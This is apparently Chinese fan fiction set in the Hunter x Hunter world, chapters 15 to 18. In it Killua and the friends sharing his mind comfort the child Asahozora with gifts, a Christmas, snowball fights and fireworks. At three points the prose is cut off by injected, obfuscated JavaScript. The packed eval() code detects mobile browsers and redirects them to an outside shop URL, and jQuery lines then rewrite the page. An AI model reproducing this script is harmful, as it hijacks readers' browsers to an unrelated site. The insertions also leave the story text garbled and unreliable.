“在没有分房睡之前,我一直以为妈妈会陪伴着我度过黑暗。直到有天迷迷糊糊地抓了一个毛茸茸的东西,我一下子就清醒了,原本温暖的睡衣被玩具小熊取而代之。而我什么都不知道,我天真地以为妈妈被巨人带走了,所以抱着小熊大哭。
妈妈又出现了,从她的房间里走出来。
她一脸不认同地擦去我眼角的泪珠告诉我我该长大了。
为什么妈妈不可以陪着我呢?那时的我我不理解。
所以每当梦中惊醒发现妈妈不在的时候我就像疯魔了一样跑到她的床上。她开始在睡前锁上门,锁上门也没关系,我可以用钥匙打开。钥匙没收也没关系我可以走阳台,阳台的门被锁也没关系,我可以爬窗户。
直到我完全进不去。哪怕我哭着喊着求着她,她也不会心软。
我这才意识到已经失去了怕黑的资格,像是认命一般躺在自己冰冷的床上。
我开始被迫接受那巨人的脚步和黑暗中的事物。
黑夜也确实很包容我,它默默地舔舐了我的所有伤口。
但是说到底,我还是真的,很怕黑。”
朝穗空醒来的时候是半夜,床头柜的夜灯晕开了浅浅的黄晕。她的右手撑着头,轻轻皱起眉头,显然刚刚做的梦不太讨喜。
她下意识看向对床的女人,她闭着眼,眉头微微皱起。
她还在,真的是太好了。
朝穗空想。
15. chapter.15
‘朝穗空这几天都不怎么说话。除了正常的三餐和睡觉,就是对着窗外的勿忘我发呆。’奇犽走在街道上采购物品,有些担心地说。
‘安啦。小孩子受到那么大的打击会有些低落是正常的。’雷欧力欧打了个哈欠。
‘可以买点小东西送给朝穗空玩!我们还可以带她去钓鱼!掏鸟蛋!找小动物玩!’小杰兴冲冲道。
‘朝穗空对这个不感兴趣。小杰。’酷拉皮卡无奈道。‘不过确实可以买点小东西给她解闷。’
‘扑克牌、水晶什么的。之前猎人考试我还看她和西索一起搭过扑克牌塔。’酷拉皮卡看向摊贩上摆着的东西。
‘朝穗空和西索搭扑克牌塔?’雷欧力欧不可思议道。
‘嗯。她和西索都是上一期的考生,两个人都没通过,甚至还打了一架。西索看上了她的潜力,所以很喜欢她。’
‘好像确实听到西索叫她小苹果种子来着的。’小杰想了想。
‘酷拉皮卡你怎么知道的?’雷欧力欧吃了一惊。
‘朝穗空基本上对大家毫无隐瞒啊。你只是没仔细听她讲的而已。’酷拉皮卡无奈道。‘这个紫色水晶感觉很适合她。’
‘好。’奇犽挑了一个最精致的买下。
‘这个小鸟木雕也好可爱!奇犽买下这个吧,我想送给朝穗空。’
‘OK。’
‘家里好像没有医药箱吧,买个医药箱备着。’
‘可以。’
等到逛完一圈,奇犽的手里已经提着大包小包了。
‘一天送完就没有惊喜了,我要每天送一点,让她每天都期待明天的礼物。’奇犽笑嘻嘻地说。
‘赞同!’
奇犽回来的时候,朝穗空还在睡,他把东西放好,看着窗外的勿忘我心里有了主意。
‘奇犽你还会编花环吗?’
‘她之前教的。’
‘好厉害!’
朝穗空醒来的时候,花环就摆在她的床头,散发着淡淡的香气。
“好漂亮。”她拿着花环看了一圈,把她轻轻戴在自己的头顶。
第二天醒来的时候是勿忘我花束。
颜色搭配的很好看。她把它养在花瓶里。
第三天是紫水晶。
在光线的折射下晶莹剔透。
第四天是小鸟木雕。
第五天是……
“她为什么不笑呢?”奇犽在脑中和三人对话道。
‘朝穗空睡了吗?’
奇犽回头看了一眼,床上凸起的一块在有规律的起伏。
“应该睡了。”
‘我觉得应该是不够透气!要带她去外面玩。’
‘闷在家里确实也不是个事情。多去外面走走也是好的。’
“难道真的要带她去掏鸟窝偷鸟蛋吗?”奇犽压低声音说。“我有一次上树差点被鸟啄到。从那以后我都不敢再去了。”
‘奇犽奇犽,有两条鱼快被晒死,其中一条先死的你知道他对另一条鱼说什么吗?’
“我要被晒死了?”
‘不对!’
‘嗯……’酷拉皮卡轻声笑了一下。
‘应该是‘我先干了兄弟’吧’雷欧力欧抢先回答。
“对着快要晒死的鱼说‘我先干了兄弟?’”
‘对啊。’
“哈哈……”床上传来轻微的笑声。
奇犽眨了眨眼,随即也弯起嘴角。
朝穗空很爱讲冷笑话。不,也不能说是爱讲。她特别喜欢在特定的场合里讲出那些明明不合时宜却又偏偏符合情景的冷笑话。
那天他的状态不太好,不是很想说话。朝穗空就拖着鞋子跑过来,带着她的冷笑话。
“奇犽,你知道什么最提神吗?”
“什么。”
“十字架。”
十字架?他看着少女眉眼弯弯,一时间没有理解她的意思。随后她便做了一个被提起的动作。
“哈?开玩笑也得有个头吧。”
“我知道,路易十六也说过!”
奇犽闭上眼睛,一时间不知道该说什么。
睁开眼,已经是第二天清晨。
小小的朝穗空扯了扯他的袖子。
“怎么了?”他蹲下来询问道。
她把手里的种子展开呈现在他的眼前。
“你想要把它种下去?”
“嗯。但是我不知道种在哪里。”或许是好几天没说过话的缘故,她的声音有点哑。
“就在你看得到的地方好不好?”奇犽指向窗外。
“好!”女孩脆生生地应道。
“那我们种完可以出去玩吗?我带你去周围看看。老待在家里,人也会发芽的。”
朝穗空眨了眨眼,有些犹豫,但还是答应了。
奇犽带着她在林间散步,路过一个灌木丛,小果子红彤彤的挂在上面。
“这是……”奇犽一时间忘记了名字。
“灯笼果。”酷拉皮卡利落地接上了他的话,顺手摘下几颗。“这种果子可以入药也可以直接食用,酸酸甜甜的你要尝尝吗?”
朝穗空接过酷拉皮卡手中的浆果,小心地把它塞进嘴里。
酸甜的滋味在嘴中爆开,是刚好的程度,不至于酸的皱起眉头。
“好吃!”她的眼睛亮起,自己踮起脚尖又去摘了几颗。
“小心一点。”酷拉皮卡拨开旁边的锯齿状叶子。“这个锯齿叶的叶子很锋利,很容易割开人的皮肤。但是如果不小心受伤的话,可以把它弄碎敷在伤口上,伤口会好的快一点。”
“好厉害!”
‘好厉害!’
两道声音重合,小杰和朝穗空一齐夸赞道。
“没有啦,都是从书上看的。”酷拉皮卡弯起浅浅的笑容。
他看着翠绿的森林和湛蓝的天空,深深地吸了一口气。清新的空气充斥在他的鼻尖。
“果然我更喜欢这里。”
“咕噜噜——”
“你饿了吗?”酷拉皮卡微微偏头询问道。
“嗯。”朝穗空不好意思地点点头。
“我们去河里抓鱼吧!”小杰兴奋地扬起眉毛。
“抓鱼?”
“很简单!我可以教你!”
小杰牵着朝穗空的手,朝着溪边走去。
“先挽起裤脚。”朝穗空学着他的样子挽起自己的裤脚。
“然后找一个平整的地方站好。溪水可能会有一点凉哦。”小杰把脚伸进去,找了一个位置。朝穗空照做。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261318|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“然后等待小鱼从你的身边经过——”
“抓到了!”哗啦一声,小杰把水里的鱼抓出了水面。
朝穗空看着脚边的鱼,一鼓作气地把手探进去。还没进入水面,鱼已经跑走了。
而反观小杰这边已经抓了四五条了。
“要屏住呼吸哦,鱼是很敏感的。然后手慢慢的靠近水面,快要碰到水的那一刻抓住!”小杰说着,又抓起了一条鱼。
朝穗空鼓起勇气又试了一次。
成功了!
“很简单对吧。很棒哦!”
“嗯!”
“接下来就交给我吧。”奇犽将手指变换成锋利的指甲,三下五除二地就把一条鱼处理干净了,再用细长的、带着点韧性的树枝串起来。
“好厉害!”朝穗空被他干脆的动作看直了眼。
“一般般啦。”奇犽嘴上那么说,却笑的更开心了。
接着燃火,烤鱼,一气呵成。
“小心烫哦。”奇犽把烤鱼递给我。
我吹了吹,小心地咬下一口。
焦黄的鱼皮在齿间发出“咔哧”一声细微的脆响,像踩碎一片秋天的落叶。紧接着,滚烫的、雪白的鱼肉裹着汹涌的汁水撞上舌面。
“啊!”我瞪圆了眼睛。
“怎么了,”他有些紧张地看着我 “被烫到了吗?”
“没有,是烤鱼太好吃了!”
“那肯定,我烤鱼的技术可是数一数二的。以前考试的时候,有很多考生是被这个香味吸引过来的,但是都被我打败了。但是还是防不住一个大馋猫,她吃的最多了。还喜欢趁我不注意,把所有的都给偷吃完。我前脚刚烤完,后脚就不见了。”奇犽没好气道。
“那太坏了。”朝穗空听得津津有味,又咬下一口。
“对呀,那太坏了。”奇犽撑着脸笑眯眯地看着她。“你可不要变成像她这样的坏蛋。”
夜深了。
朝穗空在熟悉的夜灯光晕中沉沉睡去。或许是玩累了,这一次晚上没有被惊醒。
奇犽坐在窗边的旧摇椅上,看着床上那团小小的起伏。
月光很亮,亮到能看清她睫毛投下的阴影,像蝴蝶歇息的痕迹。
小杰的意识很安静,带着满足的疲惫,像守护了一整天鸟巢的雏鸟终于安睡。
雷欧力欧还在嘟囔着明天该买点什么有营养的,但思绪已经开始渐渐模糊。
酷拉皮卡则透过眼角的余光望着窗外无边的勿忘我花海,那些蓝紫色在月光下像一片寂静的、叹息般的海洋。
而奇犽,只是看着。
他看着这个尚且幼小、尚且脆弱、尚且不知道未来会经历多少苦难与分别,更不知道此刻守着她的、是来自未来、背负着愧疚与誓言、甚至不是‘一个人’的存在。
这个决定到底是错是对,其实他也不清楚。
但此刻,她呼吸平稳,梦乡宁静。
这就够了。
足够在未来的漫漫长夜里,成为他们四个人,共同燃烧的一簇小小篝火。
哪怕变成陌生人、哪怕变成亿万分之一、哪怕一辈子错过。
月光偏移,照亮了床头那串有些干枯的勿忘我花环。
这是一场静默的、无人见证的故事。
16. chapter.16
今天是圣诞节,奇犽准备出门买点东西。
最近的天气开始变冷了。他看着呼出的气息变成薄薄的雾气随意地想道。
揍敌客对于节日这方面还是蛮重视的,至少大家都不会在这一天出任务,当然如果三倍的报酬的话就另说,可以允许你在晚餐前回来。
全家人都整整齐齐地坐在餐桌上,彼此聊些有的没的。但更让他高兴的是,基裘这几年也隐隐有了给伊路米催婚的迹象。
只要一说到孩子就会提到到了适婚年龄的伊路米。
‘伊路米,妈妈在你这个年纪就已经生下你了。什么时候才可以让我抱上你的孩子呢?’基裘的电子眼闪烁着。
‘最近在忙着任务,妈妈。’伊路米切着牛排淡淡道。
‘没有任务的时候,妈妈也可以帮你物色几个啊。’
‘一直都很忙呢。’
‘伊路米!这个要求很难吗?’基裘的声音兀自拔高。
“知道了,妈妈。我会看看的。”
这个时候奇犽就会放下刀叉,偷偷溜进糜基的房间去打游戏。
虽然大部分的时候都是在枯枯戮山消磨时间,不过也有一次圣诞节是和朋友一起过的。
那个时候两个人说好一起装扮圣诞树,结果他因为前几天的事情太累不小心睡着了。
等醒来的时候,先感觉到的不是光线,而是重量——身上被缠上了一圈圈的彩灯和飘带,那些细小的灯泡隔着衣料传来微微的暖意,像无数只萤火虫栖息在身上。头上还戴着一个硬纸板做的星星帽子,边缘有点扎脖子。
他迷迷糊糊地睁开眼,睫毛上还沾着睡眠的湿气。视野里,一个红白相间、毛茸茸的身影正蹲在他面前,那双他熟悉的、总是含着笑的眼睛,从圣诞老人白胡子的上方露出来,亮得惊人。
这个时候朝穗空就装扮成圣诞老人的模样闪亮登场!
“圣诞老人驾到!圣诞树小奇犽有什么想要的礼物吗?作为对你勤勤恳恳担任圣诞树的奖励!”
她的声音因为憋着笑而有点发颤,手里举着的、用包装纸卷成的“魔法棒”,顶端的小星星还在他眼前轻轻晃动。
“哈?”他疑惑了一下,混沌的大脑开始转动。彩灯的暖意、纸板的触感、她眼睛里闪烁的恶作剧光芒。随即,他笑起来,那笑容先从眼睛里漾开,然后才蔓延到嘴角。
“那我想要……”他刻意顿了顿,看着她因为期待而微微前倾的身体,和那双在胡子后眨巴着的眼睛,无声地张了张嘴。
朝穗空为了听他讲的愿望,把耳朵贴在他的嘴边。鬓边细碎的发丝扫过他的脸颊,带着一点淡淡的、清新的勿忘我的香味。
他能感觉到她温热的呼吸,和自己骤然加快的心跳。
“我想要圣诞老人!”
“哇!”朝穗空惊呼一声,像是炸开一朵小小的烟花。
奇犽非常麻利地坐起来,彩灯和飘带簌簌滑落。他抓住她宽大的圣诞老人外套袖子,三下五除二地把身上的装扮套在朝穗空身上。
最后洋洋得意地把她的圣诞帽戴到自己头上。
“好了,现在我就是圣诞老人了!你才是圣诞树!”
他声音响亮地宣布,看着被裹在彩灯和飘带里、愣住的朝穗空,那一刻,莫名的情意涨满了他的胸腔。
‘说到圣诞节,米特阿姨每年都会给我准备礼物!我们也买一些送给朝穗空吧。’小杰的声音把奇犽的思绪拉回。
‘今天就勉为其难让我这个大人当一回圣诞老人吧。’
‘我觉得可以。’
‘圣诞节要有圣诞树!还有拐棍糖!礼物!’
奇犽最终买回了一堆超乎想象的“圣诞物资”。
小松树是扛回来的,上面还沾着林间的露水;拐棍糖买了二十根,因为他记得朝穗空似乎喜欢甜食,所以他还买了一堆的巧克力球,虽然可能夹带着私货;礼物盒子大大小小堆满了购物袋,里面塞着毛绒袜子、会发光的星星灯、一本关于植物的厚书、一套儿童简易医疗包、还有一顶傻乎乎的驯鹿毛线帽。
布置的过程是一场灾难。
四人在这时显出了严重的不协调。
小杰想把星星灯挂到最高处,但奇犽觉得他的身体平衡感更好。两人在‘谁去挂’这个问题上产生了意识拉扯,谁也不肯让着谁,导致身体在原地晃了半分钟,差点摔下来。
酷拉皮卡试图用几何美学排列礼物,那样看起来规整。雷欧力欧却觉得“堆成小山才有惊喜感”,最后盒子摆得歪歪扭扭,像被台风刮过。
驯鹿帽子上的铃铛,在混乱中不知道被谁碰响了,“叮铃”一声,在安静的房间里格外清脆。
刚醒来,正蹲在窗边看勿忘我的朝穗空,闻声转过头来。
然后,她愣住了。
那个总是有点严肃、笨手笨脚但很温柔的女人,此刻带着圣诞帽,正对着一棵挂满歪斜彩灯的小松树,和一座摇摇欲坠的礼物山,抓着一袋子的巧克力球,有些手足无措。
朝穗空眨了眨眼。
然后,她轻轻地、几乎听不见地,“噗嗤”一声笑了出来。
不是之前被冷笑话逗乐的那种细微声响,是真正的、带着气音的、属于孩子的笑声。
窗外的雪开始静静飘落,雪片不大,是那种蓬松的、几乎没有什么重量的干雪。它们从深紫色的夜空中旋转而下,偶尔有一两片被风卷着,贴上温暖的窗玻璃,瞬间融化成一颗颤抖的水珠,顺着玻璃蜿蜒滑下,拖出一道晶莹的泪痕。
屋内,歪斜的小彩灯一闪一闪,映在潮湿的玻璃上,有些亮眼的光芒被水痕折射、打散,化成了一片朦胧而温柔的光晕,如同梦中才会出现的、不会灼伤人的星星。
壁炉里的柴火,是奇犽今天刚学会生的。火势不算旺,木柴有些潮湿,不时发出“噼啪”的轻响,爆出几点细小的火星。橙红色的火光照亮的范围并不大,仅仅温柔地包裹着壁炉前的一小圈地板和站在光圈里的两个人。
更远的地方,房间的角落依旧沉浸在昏暗里,但那种昏暗不再是吞噬一切的漆黑,而是被中央这一小团光晕衬得暖洋洋的、毛茸茸的深灰。
“你在干什么?”她有点疑惑地开口。
奇犽贴上买来的、明显尺寸不太合适的蓬松白胡子,胡子的一端还滑稽地翘着。红色的圣诞帽歪戴在银发上,显得有几分局促。
“我是你的圣诞老人呀。”他努力让声音显得低沉欢快,但那双蓝色的眼睛正透过白胡子的缝隙,有点紧张又期待地看着她。
“?”
见朝穗空没有特别惊喜的反应,他犹豫地看了一眼身上的打扮。
没错啊,是圣诞老人的装扮。
“小孩子不都是喜欢圣诞老人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261319|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?”他迟疑地开口。
“圣诞老人是骗小孩子的,我已经不是小孩子了。”朝穗空摇摇头,扁了扁嘴,嘴硬道。
“啊,”奇犽顿了一下,心下了然,笑容又挂回脸上。“好好好,你不是小孩子了。但是也没说大孩子不能收圣诞礼物呀。快来拆开看看吧。”
奇犽让出身后的礼物山。
“……Merry Christmas,朝穗空。”
他听见自己说,声音有点哑。
朝穗空走到那堆礼物山前,没有立刻去拆,而是仰起头,看着那顶傻乎乎的驯鹿帽子,小声问:
“……这个,是给我的吗?”
“嗯。”奇犽蹲下来,手指先是试探性地碰了碰帽檐,像在触碰一件易碎的瓷器,然后才下定决心般,用整个掌心托住帽顶。
帽子轻轻落在朝穗空发顶上,他的指尖无意拂过她冰凉的耳廓。
铃铛又是“叮铃”一声。
火光跃动着,将他们的影子投在墙上。
但紧接着,更奇妙的事情发生了——那个单一的影子,忽然微微晃动,边缘似乎出现了极淡的重影,仿佛有四个略微不同的影子试图重叠在一起,却因为光源唯一,最终融成一个。
一瞬间,墙上仿佛不是一个人戴鹿角的影子,而是四个身影,围着一个戴驯鹿帽的孩子。
孩子的帽子有点大,遮住了她一半眼睛。
但她没有摘下来。
她只是伸出小手,摸了摸帽子上毛茸茸的鹿角,然后抬起头,从帽檐下看着他,那双总是盛着不安或空茫的眼睛里,此刻清晰地映着彩灯的光点,和一个小小的、他的倒影。
“谢谢。”
她说。
这是她自那一天以来,第一次,主动对他说谢谢。
与此同时,那座礼物山最顶上的一个小盒子终于承受不住,“啪嗒”一声,轻轻滑落在地。
那声音并不响,却在突然安静的房间里显得格外清晰。盒子弹跳了一下,滚到奇犽脚边,停下。
时间仿佛被拉长了。
奇犽的目光从朝穗空被帽子遮住的半张脸上,移到脚边的盒子,再移回她脸上。他看到她的睫毛在帽檐的阴影下,飞快地颤了一下——像受惊的蝶翼,但并没有看向掉落的盒子。
她的全部注意力,依然在他身上,在那个“谢谢”之后,等待着他的回应。
没有人去捡。
奇犽觉得鼻腔有点酸。他胡乱地“嗯”了一声,别过脸去。
雷欧力欧:‘搞这么煽情是干什么啊!我也好想哭。’
小杰:‘朝穗空她终于开始接受我们了!奇犽应该感到高兴才是!’
酷拉皮卡:‘大家圣诞快乐,这应该也是我们过的第一个圣诞节吧。’
雷欧力欧:‘都怪你们这些小鬼一个个总是闹失踪啦,等回去我们再过一次,每年都过,天天过。’
小杰:‘好!’
窗外,雪落无声。
窗内,歪斜的圣诞树、摇摇欲坠的礼物山,巧克力的甜香和松枝的清香交织在一起。
朝穗空戴着大大的驯鹿帽,呼出的气息变成了小小的白雾,和奇犽呼出的、稍大一些的白雾,在寒冷的空气中短暂地交融在一起,不分彼此,然后消散。
两种孤独的呼吸,在此刻交汇成同一片温暖的雾。
17. chapter.17
圣诞结束,便是新一年的到来。
新年的雪在窗外积了薄薄一层,月光照得屋里一片清辉。小东西今天格外安静,吃过年夜饭后,就一直趴在窗边看雪,只留给他一个黑发的小小背影。
奇犽正在收拾碗筷。小杰在脑海内提议要不要出去堆雪人。
‘朝穗空看起来好无聊。我们去堆雪人吧!还可以放烟花!我们昨天不是还买了烟花吗?’
‘那可要穿的暖和点,外面很冷的。’
‘小鬼头就是爱玩。’
‘雷欧力欧不想玩吗?’
‘一点点吧。可以陪你们玩。’
“朝穗空。”他擦干手,走到她身后,轻声唤道。“我们去打雪仗吧?怎么样?”
“好。”朝穗空眨了眨眼,答应了下来。
“衣服要穿多一点。”
“好。”
奇犽再次看到她的时候,朝穗空已经变成了一个球,把自己里三层外三层裹得严严实实。
他笑着蹲下来,帮着检查她的手套是否戴好,帽檐是否压住了耳朵。
门打开的瞬间,寒冷而清新的空气扑面而来,带着雪特有的、凛冽的甜味。
朝穗空试探性地,将穿着毛绒雪地靴的脚,轻轻踩进门廊外那片完整的雪毯。
“嘎吱——”
一声清脆的、令人愉悦的碎裂声。
她惊讶地睁大眼睛,低头看着自己制造的痕迹,然后,又抬起脚,更用力地踩下。
“嘎吱!嘎吱!”
她笑了,在雪地里深一脚浅一脚地奔跑,身后留下一串歪歪扭扭、深深浅浅的小脚印。
奇犽跟在她身后,看着她红色围巾在雪白背景中跳跃,像一簇移动的火苗。
“我们来打雪仗吧!”朝穗空朝着他喊道。
奇犽正弯腰团一个雪球,想给她示范。忽然,后颈一凉——一小团松散冰凉的雪,滑进了他的衣领。
他愕然回头。
朝穗空站在几步开外,手里还残留着雪屑,脸上带着恶作剧得逞的、混合了兴奋和一点害怕被责骂的神情。眼睛亮得惊人。
静默了一秒。
然后,奇犽的嘴角,不受控制地向上扬起,默认了她的突然。
“好啊,偷袭我?”他压低声音,做出‘凶恶’的表情,手里却把那个原本要示范的、团得结结实实的雪球轻轻捏散了,重新松松地团了一个。
“看招!”
雪球划出一道低低的弧线,故意扔偏了些,擦着她的帽檐飞过,在她身后的雪地上“噗”地散开。
朝穗空眼睛更亮了。她笨拙地蹲下,用戴着手套的小手胡乱扒拉雪,团出一个形状不规则的雪球,奋力朝他扔来。
奇犽低头就躲了过去,反手团了一个雪球向朝穗空扔去。
“别想跑!”
朝穗空的脸颊红扑扑的,呼吸在冷空气中变成一团团急促的白雾。
她笑着,跑着,躲闪着,偶尔被雪球击中,会发出小小的惊呼,然后又更努力地反击。
那些积压在小小身体里的、不属于这个年龄的沉重,似乎暂时被这冰冷的、飞溅的雪冲刷掉了。
玩累了。两个人就并排坐在门廊台阶上大口大口地喘气。奇犽指着远处平整的雪地说:“我们堆个雪人怎么样。”
“好!”
奇犽滚了一个巨大的雪球作为身体。朝穗空试图帮忙,但她滚的雪球总是不听使唤,要么散开,要么沾了太多草屑。她有些沮丧地看着自己不成形的雪球。
“没关系,”奇犽将她的小雪球捧起来,放在大雪球上,“这不是很好吗?雪人没有那么多标准,这样也很好看。”
他们一起,将积雪拍打严实,修整形状。
“等一下!”
朝穗空急急忙忙跑进屋子里,从里面拿出圣诞帽、纽扣、胡萝卜还有几颗红色浆果做了雪人的眼睛鼻子和嘴巴。
奇犽折了两根枯枝,歪歪斜斜地插在雪人两侧。
“唔,好像还差一点。”朝穗空摸着下巴思考道。“有了!”
朝穗空解下了自己的红色围巾,踮起脚尖,小心翼翼地戴在了雪人光秃秃的‘脖子’上。
围巾很长,在雪人身后拖出了一小截,落在雪地里。奇犽看见了,但没有去整理。
他想:就让它拖着吧。像一个小小的、温暖的尾巴,或者一道即将被新雪覆盖的、快乐的痕迹。
雪人完成了。
它站在冬日的阳光下,歪戴着红帽子,纽扣眼睛呆愣愣的,胡萝卜鼻子还有点歪,浆果嘴巴笑得傻气,红色的围巾在颈间飘荡。
一点也不精致,甚至有点滑稽。
但他们并肩站着,看着它。
朝穗空喘着气,小手冻得通红,却紧紧抓着奇犽的衣角。她的眼睛看看雪人,又看看奇犽,再看看雪人,眼中闪烁着一种奇异的、满足的光芒。
“雪其实也不孤单。”她忽然小声说。
奇犽低头看她。
她指着雪人:“有我们给它做眼睛、鼻子、嘴巴、帽子还有围巾。它就能住在这里了。”
这句话很轻,像一片最温柔的羽毛,落在奇犽的心湖上,漾开无声却深远的涟漪,又带着一点痒痒的感觉。
奇犽伸出手,不是去碰雪人,而是轻轻拂去她刘海和睫毛上凝结的细小冰晶。
“嗯,”他说,声音在雪后清澈的空气里显得格外柔和,“它不孤单了。”
风掠过树梢,拂落枝头积雪,发出簌簌的轻响。
奇犽想起什么,又轻轻地捂住她的眼睛。
世界陷入一片带着他掌心温度的黑暗。
“什么东西那么神秘啊?”朝穗空被他推着走,眼睛下意识地眨动,扫过他柔软的掌心。
“你看了就知道了。”
手松开了。
光线重新涌入视野的瞬间,朝穗空的目光首先被桌子上十几支不同样式的烟花吸引。然后,她的视线落在了他小心翼翼捧到面前的、摊开的手掌上。
掌心里,是一小个正正方方的首饰盒。朝穗空小心的打开,露出里面绒布衬着的东西——
一颗冰蓝色的、被打磨成长菱形的宝石耳坠。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261320|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“喜欢吗?”
她有些不可置信地往上看,抬眼便和淡蓝色、如天空般澄澈的双眸对上。她看见那双眼睛里燃起一小簇、期待的、带着小心翼翼的火苗。
“我看你好像很喜欢那些小玩意,所以就自作主张做了一个耳坠,把它当做新年礼物送给你了。”
“而且,”他指了指那微不可见的耳孔。“耳垂也会很寂寞呢。”
朝穗空下意识摸上左耳垂,那里以前带着抑制器,后面摘下来了。但是这种被人在乎的感觉却在心中酸涩地涌起。
“才不喜欢呢。”她听见自己故作嫌弃地说道。
“啊。”奇犽有些失落地垂眸。
居然猜错了。
“开玩笑的。”朝穗空扬起笑容,把耳坠戴上左耳,随手拨动了一下。她看着奇犽的眼睛,一字一句,认真道:“我很喜欢,谢谢你。”
“太好了。”奇犽静静地看着她,视线从冰蓝的闪光,缓缓移到她的眼睛。他扬起一个笑容。
“很漂亮,比我想象中还要适合你。”酷拉皮卡道。“我们去放烟花吧。”
小小的手持烟花,嘶嘶地喷出金色的火星,在她手中绽放成一小团温暖的光球。她挥舞着,在雪地上跑出歪歪扭扭的轨迹,笑声清脆地划破冬夜的寂静。
玩完最后一束仙女棒,奇犽点燃了烟花筒,拉着朝穗空后退,火花蹿上深蓝色的夜空,然后——
“砰!”
绚烂的金色花朵骤然怒放,照亮了她扬起的侧脸,和她眼中倒映的、流转的华彩。
他抬头看向天空,又一朵烟花炸开。从正面看,是完美的球状光团。可他下意识地、鬼使神差地,侧过了头。
视线平移的瞬间,盛大的光球被压缩成一片急速扩散的、颤抖的光幕,薄如蝉翼,易碎而凄美。
“朝穗空,你觉得烟花是圆的还是扁的?”奇犽的问题很突然,明明是问出问题的人,目光却无法从她仰起的侧脸上移开。
烟花余烬似乎还映在她清澈的瞳孔里。那一刻,她侧脸的弧线,她眼中虚幻的光,竟与那想象中扁平的烟花光幕诡异地重叠了。
朝穗空下意识偏过头,试图用另一个视角去看那早已消失的烟花。视野里,只有深蓝的夜空、零星的寒星,以及一缕正在淡去的青烟。
但就在她侧目的瞬间——夜空尽头,最后一朵迟来的烟花,恰在此刻孤零零地炸开。
不是盛大的球形,而是一束银白色的、斜斜拉长的流星雨,从极高的天际垂落。像是谁用沾满星光的笔,在夜幕上急速划下的一道泪痕。
“我不知道。可能是圆的,也有可能是扁的。”她轻声说,声音被夜风卷走了一半,却清晰地落在奇犽耳中。
奇犽看着朝穗空。
她正摸着自己左耳上那枚新戴上的冰蓝色耳坠,水晶在微弱的星光下,反射着一点寒凉的光。
“没关系。这个问题没有标准答应,有时候不知道本身也是一种答案。”
“天太晚了,我们回去吧。”他说。“明天又是新的一天。”
“新年快乐,朝穗空。”
18. chapter.18
雪是从午后开始落的。奇犽看着细密的雪粒渐渐变成鹅毛般的絮片,一片又一片无声地覆盖了窗外那片蓝紫色的勿忘我花海。
朝穗空蜷在窗边,整个人陷在宽大的沙发里,额头抵着玻璃,温热的气体打在窗户上,变成了薄薄的水雾,她伸出食指,沿着水雾的边缘无意识地画了个圈,然后才用手掌整个抹去,留下一道蜿蜒的、透明的水痕。
她在想什么呢?
“下雪了。”奇犽走过去,把一件厚实的羊毛披肩轻轻搭在她肩上,又顺手将她散在颊边的一缕黑发别到耳后“冷吗?”
朝穗空摇摇头,披肩柔软的绒毛蹭着她的下巴,视线没离开花丛。“花会冻死吗?”她问,声音闷闷的,“我的种子才刚发芽。”
奇犽顺着她的目光看去。在覆着薄雪的花田边缘,确有一点稚嫩的绿意,倔强地探出头。
“这里的地形很特殊,勿忘我的花期很长说明有充足的地热。”他蹲下身,手臂随意地搭在膝盖上,与她视线齐平。
“所以不用担心。而且它不只是发芽。”奇犽伸出手指,隔着玻璃,虚虚地点向那抹绿色,指尖在冰冷的玻璃上留下一个瞬间即逝的暖痕。
“他已经长出嫩绿的叶子了。”
朝穗空顺着他指着的方向看去,几片绿叶在雪中格外显眼。她盯着那点绿意看了很久,才几不可察地“嗯”了一声,肩膀微微放松下来。
雪越积越厚,封住了出行的路。
屋内的寂静开始显得有些漫长。酷拉皮卡正在看着书,书页翻动的声音格外清晰。余光瞥见朝穗空的手曲起食指,用指甲一下下地刮着窗框边沿的旧漆皮,刮下细小的、米白色的碎屑。
小杰:‘好无聊——’
雷欧力欧:‘讲故事?这个年纪的小孩都爱听故事吧。’
奇犽:‘上次买的扑克呢?’
酷拉皮卡合上书,书脊轻轻磕在桌面上。他走到书架边,指尖掠过书脊,最后停顿,抽出了那副新买的扑克牌。他回到壁炉边的地毯上坐下,拍了拍身旁的位置。
“来,”他把牌在手里洗得哗啦作响,纸牌像一道银色的瀑布在他指间流淌,金色的发梢在炉火映照下泛着蜂蜜般的、流动的暖光,“会玩什么?”
最初的几局,他故意输得一塌糊涂。
他看着她小心翼翼地出牌,眼神里带着试探。每次赢下一局,那双总是笼着雾气的眼睛就会亮起一点点星火。
当他把最后一张牌放下,宣布“又输啦”的时候,朝穗空终于忍不住,嘴角抿出一个极淡的笑容。
“又是我赢啦!”笑声藏着孩子气般的得意。
